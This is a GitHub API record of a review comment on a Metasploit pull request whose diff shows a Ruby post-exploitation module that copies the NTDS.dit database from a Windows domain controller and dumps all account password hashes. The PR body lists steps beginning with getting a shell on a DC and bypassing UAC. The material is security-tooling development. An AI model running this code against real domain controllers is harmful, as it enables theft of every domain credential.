{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/30418890","id":30418890,"diff_hunk":"@@ -0,0 +1,159 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'rex'\n+require 'msf/core/auxiliary/report'\n+require 'metasploit/framework/ntds/parser'\n+\n+class Metasploit3 < Msf::Post\n+  include Msf::Post::Windows::Registry\n+  include Msf::Auxiliary::Report\n+  include Msf::Post::Windows::Services\n+  include Msf::Post::Windows::Priv\n+  include Msf::Post::Windows::ShadowCopy\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+      'Name'          => 'Windows Domain Controller Hashdump',\n+      'Description'   => %q{\n+        This module attempts to copy the NTDS.dit database from a live Domain Controller\n+        and then parse out all of the User Accounts. It saves all of the captured password\n+        hashes, including historical ones.\n+  },\n+      'License'       => MSF_LICENSE,\n+      'Author'        => ['theLightCosine'],\n+      'Platform'      => [ 'win' ],\n+      'SessionTypes'  => [ 'meterpreter' ]\n+  ))\n+  end\n+\n+  def run\n+    if preconditions_met?\n+      ntds_file = copy_database_file\n+      unless ntds_file.nil?\n+        print_status \"Repairing NTDS database after copy...\"\n+        print_status repair_ntds(ntds_file)\n+        realm = domain_name\n+        ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)\n+        ntds_parser.each_account do |ad_account|\n+          print_good ad_account.to_s\n+          report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)\n+          ad_account.nt_history.each_with_index do |nt_hash, index|\n+            hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH\n+            hash_string << \":#{nt_hash}\"\n+            report_hash(hash_string.downcase,ad_account.name, realm)\n+          end\n+        end\n+      end\n+    end\n+  end\n+\n+  def copy_database_file\n+    database_file_path = nil\n+    if start_vss\n+      case  sysinfo[\"OS\"]\n+        when /2003| \\.NET/\n+          database_file_path = vss_method\n+        when /2008|2012/\n+          database_file_path = ntdsutil_method\n+        else\n+          print_error \"This version of Windows is unsupported\"\n+      end\n+    end\n+    database_file_path\n+  end\n+\n+  def domain_name\n+    result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:\"Domain\"')\n+    result.gsub!(/Domain:\\s+/,'')\n+  end\n+\n+  def is_domain_controller?\n+    status = false\n+    if session.fs.file.exists?('%SystemDrive%\\Windows\\ntds\\ntds.dit')\n+      status = true\n+    end\n+    status\n+  end\n+\n+  def ntdsutil_method\n+    tmp_path = \"#{expand_path(\"%TEMP%\")}\\\\#{Rex::Text.rand_text_alpha((rand(8)+6))}\"\n+    command_arguments = \"\\\"activate instance ntds\\\" \\\"ifm\\\" \\\"Create Full #{tmp_path}\\\" quit quit\"\n+    result = cmd_exec(\"ntdsutil.exe\", command_arguments)\n+    if result.include? \"IFM media created successfully\"\n+      file_path = \"#{tmp_path}\\\\Active Directory\\\\ntds.dit\"\n+      print_status \"NTDS database copied to #{file_path}\"\n+    else\n+      print_error \"There was an error copying the ntds.dit file!\"\n+      vprint_error result\n+      file_path = nil\n+    end\n+    file_path\n+  end\n+\n+\n+  def preconditions_met?\n+    status = true\n+    unless is_domain_controller?\n+      print_error \"This does not appear to be an AD Domain Controller\"\n+      status = false\n+    end\n+    unless is_admin?\n+      print_error \"This module requires Admin privs to run\"\n+      status = false\n+    end\n+    if is_uac_enabled?\n+      print_error \"This module requires UAC to be bypassed first\"\n+      status = false\n+    end\n+    unless session_compat?\n+      status = false\n+    end\n+    return status\n+  end\n+\n+  def repair_ntds(path='')\n+    arguments = \"/p /o \\\"#{path}\\\"\"\n+    cmd_exec(\"esentutl\", arguments)\n+  end\n+\n+  def report_hash(ntlm_hash, username, realm)\n+    cred_details = {\n+      origin_type: :session,\n+      session_id: session_db_id,\n+      post_reference_name: self.refname,\n+      private_type: :ntlm_hash,\n+      private_data: ntlm_hash,\n+      username: username,\n+      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,\n+      realm_value: realm,\n+      workspace_id: myworkspace_id\n+    }\n+    create_credential(cred_details)\n+  end\n+\n+  def session_compat?\n+    if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/\n+      print_error \"You are running 32-bit Meterpreter on a 64 bit system\"\n+      print_error \"Try migrating to a 64-bit process and try again\"\n+      false\n+    else\n+      true\n+    end\n+  end\n+\n+  def vss_method\n+    id = create_shadowcopy(\"#{expand_path(\"%SystemDrive%\")}\\\\\")","path":"modules/post/windows/gather/credentials/domain_hashdump.rb","position":149,"original_position":149,"commit_id":"92799266c6eb415629a4d693801003a02c9f4772","original_commit_id":"92799266c6eb415629a4d693801003a02c9f4772","user":{"login":"dmaloney-r7","id":1146440,"avatar_url":"https://avatars.githubusercontent.com/u/1146440?v=3","gravatar_id":"","url":"https://api.github.com/users/dmaloney-r7","html_url":"https://github.com/dmaloney-r7","followers_url":"https://api.github.com/users/dmaloney-r7/followers","following_url":"https://api.github.com/users/dmaloney-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmaloney-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmaloney-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmaloney-r7/subscriptions","organizations_url":"https://api.github.com/users/dmaloney-r7/orgs","repos_url":"https://api.github.com/users/dmaloney-r7/repos","events_url":"https://api.github.com/users/dmaloney-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmaloney-r7/received_events","type":"User","site_admin":false},"body":"why would get_env be any better than expand_path here?","created_at":"2015-05-15T15:34:57Z","updated_at":"2015-05-15T15:34:57Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/5348#discussion_r30418890","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/30418890"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5348#discussion_r30418890"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348","id":35450343,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5348","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5348.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5348.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5348","number":5348,"state":"open","locked":false,"title":"Feature/msp 12358/ntds dump module","user":{"login":"dmaloney-r7","id":1146440,"avatar_url":"https://avatars.githubusercontent.com/u/1146440?v=3","gravatar_id":"","url":"https://api.github.com/users/dmaloney-r7","html_url":"https://github.com/dmaloney-r7","followers_url":"https://api.github.com/users/dmaloney-r7/followers","following_url":"https://api.github.com/users/dmaloney-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmaloney-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmaloney-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmaloney-r7/subscriptions","organizations_url":"https://api.github.com/users/dmaloney-r7/orgs","repos_url":"https://api.github.com/users/dmaloney-r7/repos","events_url":"https://api.github.com/users/dmaloney-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmaloney-r7/received_events","type":"User","site_admin":false},"body":"This adds the Post module to do a safe domain hashdump on a Domain controller Running server 2003 or later.\r\n\r\nIt requires https://github.com/rapid7/metasploit-framework/pull/5286 and https://github.com/rapid7/meterpreter/pull/154 to be landed first\r\n\r\nAfter https://github.com/rapid7/meterpreter/pull/154 lands, the other two PRs will be updated with newly released versions of metasploit-payloads accordingly\r\n\r\n\r\nVERIFICATION STEPS\r\n- [ ] Get a shell on a DC\r\n- [ ] make sure you have admin right and have bypassed UAC\r\n- [ ] make sure you are operating on the right Arch (x86 will not work on a x64 OS)\r\n- [ ] run the post module\r\n- [ ] VERIFY it dumps the domain account information\r\n- [ ] VERIFY the hashes are all saved to the db, by using the 'creds' command","created_at":"2015-05-14T18:55:14Z","updated_at":"2015-05-15T15:34:57Z","closed_at":null,"merged_at":null,"merge_commit_sha":"88aab33b8c8284bc4722177a5529e2ad3e24e104","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5348/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/92799266c6eb415629a4d693801003a02c9f4772","head":{"label":"dmaloney-r7:feature/MSP-12358/ntds-dump-module","ref":"feature/MSP-12358/ntds-dump-module","sha":"92799266c6eb415629a4d693801003a02c9f4772","user":{"login":"dmaloney-r7","id":1146440,"avatar_url":"https://avatars.githubusercontent.com/u/1146440?v=3","gravatar_id":"","url":"https://api.github.com/users/dmaloney-r7","html_url":"https://github.com/dmaloney-r7","followers_url":"https://api.github.com/users/dmaloney-r7/followers","following_url":"https://api.github.com/users/dmaloney-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmaloney-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmaloney-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmaloney-r7/subscriptions","organizations_url":"https://api.github.com/users/dmaloney-r7/orgs","repos_url":"https://api.github.com/users/dmaloney-r7/repos","events_url":"https://api.github.com/users/dmaloney-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmaloney-r7/received_events","type":"User","site_admin":false},"repo":{"id":6300145,"name":"metasploit-framework","full_name":"dmaloney-r7/metasploit-framework","owner":{"login":"dmaloney-r7","id":1146440,"avatar_url":"https://avatars.githubusercontent.com/u/1146440?v=3","gravatar_id":"","url":"https://api.github.com/users/dmaloney-r7","html_url":"https://github.com/dmaloney-r7","followers_url":"https://api.github.com/users/dmaloney-r7/followers","following_url":"https://api.github.com/users/dmaloney-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmaloney-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmaloney-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmaloney-r7/subscriptions","organizations_url":"https://api.github.com/users/dmaloney-r7/orgs","repos_url":"https://api.github.com/users/dmaloney-r7/repos","events_url":"https://api.github.com/users/dmaloney-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmaloney-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dmaloney-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework","forks_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/dmaloney-r7/metasploit-framework/releases{/id}","created_at":"2012-10-19T19:04:14Z","updated_at":"2015-05-05T14:47:39Z","pushed_at":"2015-05-14T20:06:22Z","git_url":"git://github.com/dmaloney-r7/metasploit-framework.git","ssh_url":"git@github.com:dmaloney-r7/metasploit-framework.git","clone_url":"https://github.com/dmaloney-r7/metasploit-framework.git","svn_url":"https://github.com/dmaloney-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":273890,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"24a989b8a359f487058f6836e17dc36aee92a2ad","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-05-15T01:21:29Z","pushed_at":"2015-05-15T14:49:54Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1071203,"stargazers_count":3771,"watchers_count":3771,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3065,"mirror_url":null,"open_issues_count":205,"forks":3065,"open_issues":205,"watchers":3771,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5348"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5348"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5348/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5348/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/92799266c6eb415629a4d693801003a02c9f4772"}}}}